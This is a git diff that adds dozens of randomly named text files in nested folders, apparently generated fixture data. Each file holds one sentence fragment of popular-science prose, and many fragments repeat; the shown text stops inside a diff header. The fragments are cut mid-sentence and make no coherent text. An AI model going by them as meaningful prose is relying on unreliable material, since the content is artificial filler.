diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/rwyoqnncoudvzsyeghtostuv.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/rwyoqnncoudvzsyeghtostuv.txt
new file mode 100644
index 0000000..bf85d72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/rwyoqnncoudvzsyeghtostuv.txt
@@ -0,0 +1 @@
+not be atmospheric, since Io’s atmosphere has mostly escaped to space because of its low
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/spijjfrccauxzma.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/spijjfrccauxzma.txt
new file mode 100644
index 0000000..68df67b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/spijjfrccauxzma.txt
@@ -0,0 +1 @@
+our messages will be indecipherable. But we have sent them because it is important to try.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/xpjvqcghkwcz.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/xpjvqcghkwcz.txt
new file mode 100644
index 0000000..e431368
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/xpjvqcghkwcz.txt
@@ -0,0 +1 @@
+is clearly needed. Meanwhile, we can each make a personal and noncontroversial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/zvdqyqsfi.txt b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/zvdqyqsfi.txt
new file mode 100644
index 0000000..274d49c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rzmrqygplj/folder_yjmcxbtvzb/folder_mdcjsuryvi/folder_hjtsfxfdii/zvdqyqsfi.txt
@@ -0,0 +1 @@
+covered and uncovered by drifting dust, plumes of fine-grained material blown about by the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_bpbtaawqhqteutvkljf.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_bpbtaawqhqteutvkljf.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_bpbtaawqhqteutvkljf.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_eusyhlvovidtcf.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_eusyhlvovidtcf.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_eusyhlvovidtcf.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_fyracngizi.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_fyracngizi.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_fyracngizi.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_hggtvlxti.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_hggtvlxti.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_hggtvlxti.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_ijorvsroioetes.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_ijorvsroioetes.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_ijorvsroioetes.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_izhkgsfbrcbp.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_izhkgsfbrcbp.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_izhkgsfbrcbp.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_jipofbdzrsjpqjytdhmwmt.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_jipofbdzrsjpqjytdhmwmt.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_jipofbdzrsjpqjytdhmwmt.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_llwhxcslk.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_llwhxcslk.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_llwhxcslk.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_orqzdnbqy.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_orqzdnbqy.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_orqzdnbqy.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_rxrpkrtzjuvtximxcqljdz.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_rxrpkrtzjuvtximxcqljdz.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_rxrpkrtzjuvtximxcqljdz.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_szaodmnflccpvgbylodgs.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_szaodmnflccpvgbylodgs.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_szaodmnflccpvgbylodgs.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_tigbujbavgcspztxxcsboxjc.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_tigbujbavgcspztxxcsboxjc.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_tigbujbavgcspztxxcsboxjc.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_waxwster.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_waxwster.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_waxwster.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_xvxeeurp.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_xvxeeurp.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_xvxeeurp.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/file_yghctiojpwrbhuvufgtm.txt b/big_zip/big-zip-files/folder_sbvaeypacm/file_yghctiojpwrbhuvufgtm.txt
new file mode 100644
index 0000000..156eb5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/file_yghctiojpwrbhuvufgtm.txt
@@ -0,0 +1 @@
+these things. We tell our children. They will tell their children.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_agohggoqhmilbxogthah.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_agohggoqhmilbxogthah.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_agohggoqhmilbxogthah.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_bgxjevzyylkqlie.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_bgxjevzyylkqlie.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_bgxjevzyylkqlie.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ckipfyeovy.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ckipfyeovy.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ckipfyeovy.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_gnmkocvueluscjgcxxthoe.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_gnmkocvueluscjgcxxthoe.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_gnmkocvueluscjgcxxthoe.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_hfxxltfgicrfsout.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_hfxxltfgicrfsout.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_hfxxltfgicrfsout.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_hrrvrjgczbmnaidv.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_hrrvrjgczbmnaidv.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_hrrvrjgczbmnaidv.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_inefwedj.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_inefwedj.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_inefwedj.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ixjsznqndbqq.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ixjsznqndbqq.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ixjsznqndbqq.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_kasrqqfvwzyjzx.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_kasrqqfvwzyjzx.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_kasrqqfvwzyjzx.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_kzaxwknso.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_kzaxwknso.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_kzaxwknso.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_nahkbuopnxx.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_nahkbuopnxx.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_nahkbuopnxx.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_nojayyjp.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_nojayyjp.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_nojayyjp.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_pnzpprxgxlyicripavxtbk.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_pnzpprxgxlyicripavxtbk.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_pnzpprxgxlyicripavxtbk.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_rtiupiwfkhubarbqvul.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_rtiupiwfkhubarbqvul.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_rtiupiwfkhubarbqvul.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_sfxayrbplxoxbzvstowx.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_sfxayrbplxoxbzvstowx.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_sfxayrbplxoxbzvstowx.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_tpwlxjkrnswlqid.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_tpwlxjkrnswlqid.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_tpwlxjkrnswlqid.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_twgsbwokiromevfbyitlmo.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_twgsbwokiromevfbyitlmo.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_twgsbwokiromevfbyitlmo.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_upmqbcxeukq.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_upmqbcxeukq.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_upmqbcxeukq.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_vegsphuyqxnpyqipxjlaxml.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_vegsphuyqxnpyqipxjlaxml.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_vegsphuyqxnpyqipxjlaxml.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_vxxdtcdnplsvgqxvw.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_vxxdtcdnplsvgqxvw.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_vxxdtcdnplsvgqxvw.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_wjteiotutmnwo.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_wjteiotutmnwo.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_wjteiotutmnwo.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ykbzvpgfs.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ykbzvpgfs.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ykbzvpgfs.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ynjxczmevnacvgbysgbwvuq.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ynjxczmevnacvgbysgbwvuq.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_ynjxczmevnacvgbysgbwvuq.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_zfmheatqziwienfxhe.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_zfmheatqziwienfxhe.txt
new file mode 100644
index 0000000..7a696e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/file_zfmheatqziwienfxhe.txt
@@ -0,0 +1 @@
+the biologists will know what other kinds of life are possible. When we say the search for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_bsxvykjyr.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_bsxvykjyr.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_bsxvykjyr.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_evflzxefdjgyzy.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_evflzxefdjgyzy.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_evflzxefdjgyzy.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_fvcjfejymwx.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_fvcjfejymwx.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_fvcjfejymwx.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_jplxuekjtwzywv.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_jplxuekjtwzywv.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_jplxuekjtwzywv.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_mabvdjeo.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_mabvdjeo.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_mabvdjeo.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_podpnvvhbkhjkwbf.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_podpnvvhbkhjkwbf.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_podpnvvhbkhjkwbf.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_ppupwatcdewzgghohijog.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_ppupwatcdewzgghohijog.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_ppupwatcdewzgghohijog.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zgudbwunkejfqxvnmsa.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zgudbwunkejfqxvnmsa.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zgudbwunkejfqxvnmsa.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zirqjpremivb.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zirqjpremivb.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zirqjpremivb.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zmngnyxv.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zmngnyxv.txt
new file mode 100644
index 0000000..d9ede4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/file_zmngnyxv.txt
@@ -0,0 +1 @@
+planet, and not a drop ever reaches the surface.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/aeahlablhsrcgvsbi.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/aeahlablhsrcgvsbi.txt
new file mode 100644
index 0000000..2311d6f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/aeahlablhsrcgvsbi.txt
@@ -0,0 +1 @@
+who called themselves scientists attempted to suppress Velikovsky’s work. Science is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/azblpwmngvd.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/azblpwmngvd.txt
new file mode 100644
index 0000000..490d267
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/azblpwmngvd.txt
@@ -0,0 +1 @@
+before. Or perhaps a safe means of hibernation for humans will be found, so that the space
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/bxvmsnepdnpaiq.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/bxvmsnepdnpaiq.txt
new file mode 100644
index 0000000..fbb146d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/bxvmsnepdnpaiq.txt
@@ -0,0 +1 @@
+Doppler effect due not to the general expansion of the universe but rather to a more modestand local galactic explosion. But then we should expect as many explosion fragments
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/ekywjsnywexphaedddi.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/ekywjsnywexphaedddi.txt
new file mode 100644
index 0000000..6b46327
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/ekywjsnywexphaedddi.txt
@@ -0,0 +1 @@
+law that relates the motion of various planets to one another, that lays out correctly the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_ahyiayxavyucirguhgtuj.txt b/big_zip/big-zip-files/folder_sbvaeypacm/folder_mcxhvfpoko/folder_wwgkxpwgbo/folder_ryhghisvfg/file_ahyiayxavyucirguhgtuj.txt
new file mode 100644
index 0000000..4f169b2
--- /dev/null
